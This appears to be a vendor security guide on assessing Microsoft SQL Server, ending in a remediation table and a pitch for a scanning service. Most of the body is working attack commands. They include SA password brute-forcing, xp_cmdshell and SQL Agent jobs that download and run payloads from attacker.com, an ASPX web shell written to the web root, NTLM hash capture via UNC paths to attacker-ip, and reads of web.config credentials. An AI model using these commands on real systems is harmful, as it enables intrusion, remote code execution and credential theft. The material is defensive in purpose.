Microsoft SQL Server is the most deployed enterprise relational database on Windows infrastructure, and it carries several systemic security weaknesses: the SA (System Administrator) account with blank or default passwords is common in legacy and dev installations; xp_cmdshell โ when enabled โ allows any sysadmin to execute OS commands as the SQL Server service account; linked servers create chains of trust that allow privilege escalation from a low-privilege instance to a high-privilege one; and SQL Agent jobs can execute arbitrary OS commands on a schedule. Connection string credentials embedded in application configs, IIS web.config files, and environment variables are also a primary reconnaissance target. This guide covers systematic MSSQL security assessment.
SQL Server listens on TCP 1433 (default) and UDP 1434 (SQL Browser service). The SA account uses SQL authentication โ not Windows authentication โ making it vulnerable to network brute-force without domain credentials.
# MSSQL discovery and SA credential testing
# SQL Browser service reveals all named instances
nmap -sU -p 1434 --script ms-sql-info 10.0.0.0/24
nmap -sV -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-config 10.0.0.1
# Test SA with blank password (very common in legacy installs)
sqlcmd -S mssql.internal -U sa -P "" -Q "SELECT @@VERSION; SELECT name FROM sys.databases;"
# Test common SA passwords
for PASS in "" "sa" "password" "Password1" "sqlserver" "admin" "123456"; do
RESULT=$(sqlcmd -S mssql.internal -U sa -P "${PASS}" -Q "SELECT 1" 2>&1)
if echo "$RESULT" | grep -q "^1"; then
echo "SA LOGIN SUCCESS: password='${PASS}'"
break
fi
done
# Enumerate SQL Server logins (requires any valid login)
sqlcmd -S mssql.internal -U sa -P "found_password" -Q "
SELECT name, type_desc, is_disabled, LOGINPROPERTY(name,'IsLocked') as locked
FROM sys.server_principals
WHERE type IN ('S','U','G')
ORDER BY type_desc, name;
"
# Check for SQL Server instances via registry (post-compromise)
reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances
reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"
# Extract connection strings from web.config files
find C:\inetpub -name "web.config" 2>/dev/null | xargs grep -l "connectionString" | head -10
findstr /si "connectionstring\|password\|Data Source" C:\inetpub\*.config 2>/dev/null
xp_cmdshell executes OS commands as the SQL Server service account (frequently NT SERVICE\MSSQLSERVER, LocalSystem, or a domain service account). It is disabled by default since SQL Server 2005 but is commonly re-enabled by DBAs for maintenance tasks and then left enabled.
-- Check if xp_cmdshell is enabled
SELECT name, value_in_use
FROM sys.configurations
WHERE name IN ('xp_cmdshell','show advanced options','clr enabled','Ole Automation Procedures');
-- Enable xp_cmdshell if disabled (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Execute OS commands as SQL Server service account
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net localgroup administrators';
EXEC xp_cmdshell 'ipconfig /all';
-- Exfiltrate data via xp_cmdshell
EXEC xp_cmdshell 'powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/ps.ps1'')"';
-- Read files via BULK INSERT (no xp_cmdshell needed)
CREATE TABLE #tmp (line VARCHAR(8000));
BULK INSERT #tmp FROM 'C:\Windows\System32\drivers\etc\hosts'
WITH (ROWTERMINATOR='\n', FIELDTERMINATOR='|');
SELECT * FROM #tmp; DROP TABLE #tmp;
-- Write files via OLE Automation (alternative to xp_cmdshell)
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @fso INT, @file INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_OAMethod @fso, 'CreateTextFile', @file OUT, 'C:\inetpub\wwwroot\shell.aspx', 1;
EXEC sp_OAMethod @file, 'WriteLine', NULL, '<%@ Page Language="C#"%><%System.Diagnostics.Process.Start(Request["c"]);%>';
EXEC sp_OAMethod @file, 'Close';
EXEC sp_OADestroy @file; EXEC sp_OADestroy @fso;
-- CLR assembly execution (alternative code execution path)
-- Requires clr enabled + TRUSTWORTHY database setting
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on=1;
-- TRUSTWORTHY + db_owner = effective sysadmin via CLR UNSAFE assembly
Linked servers allow one SQL Server instance to query another. If the linked server connection uses a high-privilege account on the remote server, an attacker with access to a low-privilege local instance can escalate through the link chain.
-- Enumerate linked servers and their connection credentials
SELECT
ls.name AS linked_server,
ls.product,
ls.provider,
ls.data_source,
ll.remote_name AS remote_login,
ll.uses_self_credential,
CASE WHEN ll.modifier = 'SELF' THEN 'uses current login'
WHEN ll.modifier = 'ANY' THEN 'uses stored credentials'
ELSE ll.modifier END AS auth_mode
FROM sys.servers ls
LEFT JOIN sys.linked_logins ll ON ls.server_id = ll.server_id
WHERE ls.is_linked = 1;
-- Test execution on linked server (may run as higher-priv account)
EXEC ('SELECT @@SERVERNAME, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED_SERVER_NAME];
-- Enable xp_cmdshell on linked server via chained EXEC
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;
sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME];
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
-- Multi-hop linked server attack: A->B->C
EXEC ('EXEC (''xp_cmdshell ''''whoami''''; '') AT [SERVER_C]') AT [SERVER_B];
-- Enumerate all databases and their owners across linked servers
EXEC ('SELECT name, suser_sname(owner_sid) AS owner FROM sys.databases') AT [LINKED_SERVER_NAME];
-- Check for impersonation chains (EXECUTE AS)
SELECT name, type_desc FROM sys.server_principals WHERE is_disabled=0
AND name NOT IN ('sa','##MS_AgentSigningCertificate##','##MS_PolicySigningCertificate##');
-- Test if current user can impersonate sa
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER; -- Should show 'sa' if impersonation allowed
REVERT;
SQL Server Agent executes scheduled jobs as the SQL Server Agent service account. Any sysadmin can create a job that runs OS commands. Outbound UNC path requests from the SQL Server machine capture NTLM hashes that can be cracked offline.
-- Create SQL Agent job for code execution (requires sysadmin or SQLAgentOperatorRole)
USE msdb;
EXEC sp_add_job @job_name='SystemUpdate';
EXEC sp_add_jobstep @job_name='SystemUpdate', @step_name='Update',
@subsystem='CMDEXEC',
@command='powershell -nop -ep bypass -c "Invoke-WebRequest http://attacker.com/shell.exe -O C:\Temp\u.exe; C:\Temp\u.exe"';
EXEC sp_add_schedule @schedule_name='Now', @freq_type=1; -- One time
EXEC sp_attach_schedule @job_name='SystemUpdate', @schedule_name='Now';
EXEC sp_add_jobserver @job_name='SystemUpdate';
EXEC sp_start_job @job_name='SystemUpdate';
-- NTLM hash capture via UNC path (requires Responder on attacker machine)
-- SQL Server will authenticate to attacker's share using its service account NTLM hash
EXEC xp_dirtree '\\attacker-ip\share';
-- Or via BULK INSERT:
BULK INSERT #tmp FROM '\\attacker-ip\share\file.txt' WITH (FIELDTERMINATOR='|');
-- Or via xp_fileexist:
EXEC xp_fileexist '\\attacker-ip\share\test';
-- Hash extraction from SQL Server password hashes
SELECT name, password_hash FROM sys.sql_logins;
-- Hashes are SHA-512 (MSSQL 2012+) or SHA-1 (older) โ crackable offline with hashcat
-- hashcat -m 1731 mssql_hashes.txt wordlist.txt (MSSQL 2012+)
-- hashcat -m 132 mssql_hashes.txt wordlist.txt (MSSQL 2000)
-- Read sensitive files via OpenRowset
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS t;
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS t;
Ironimo can assess your Microsoft SQL Server for SA credential vulnerabilities, xp_cmdshell exposure, linked server privilege escalation chains, SQL Agent job abuse, and connection string credential exposure.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| SA account blank/default password | Blank in Express/dev installs | Disable SA account; use Windows Authentication only; enforce complex password policy |
| xp_cmdshell enabled | Disabled by default but often re-enabled | Disable xp_cmdshell; remove sysadmin access from non-admin accounts; use SQL Server Audit to alert on re-enablement |
| Linked server stored credentials | Often uses high-priv remote account | Audit linked server logins; use delegation-only links; remove unused linked servers |
| TRUSTWORTHY database | Off by default; often enabled by ORMs | Audit is_trustworthy_on for all databases; disable unless explicitly required for CLR |
| SQL Agent permissive roles | SQLAgentOperatorRole can run jobs | Restrict job creation to DBAs; audit job steps for CMDEXEC subsystem |
| Port 1433 internet-exposed | Sometimes exposed directly | Restrict port 1433 to application server IPs via firewall; use SQL Server on non-default port |
| UNC path requests allowed | No restriction on outbound SMB | Block outbound port 445 from SQL Server host via firewall; disable xp_dirtree |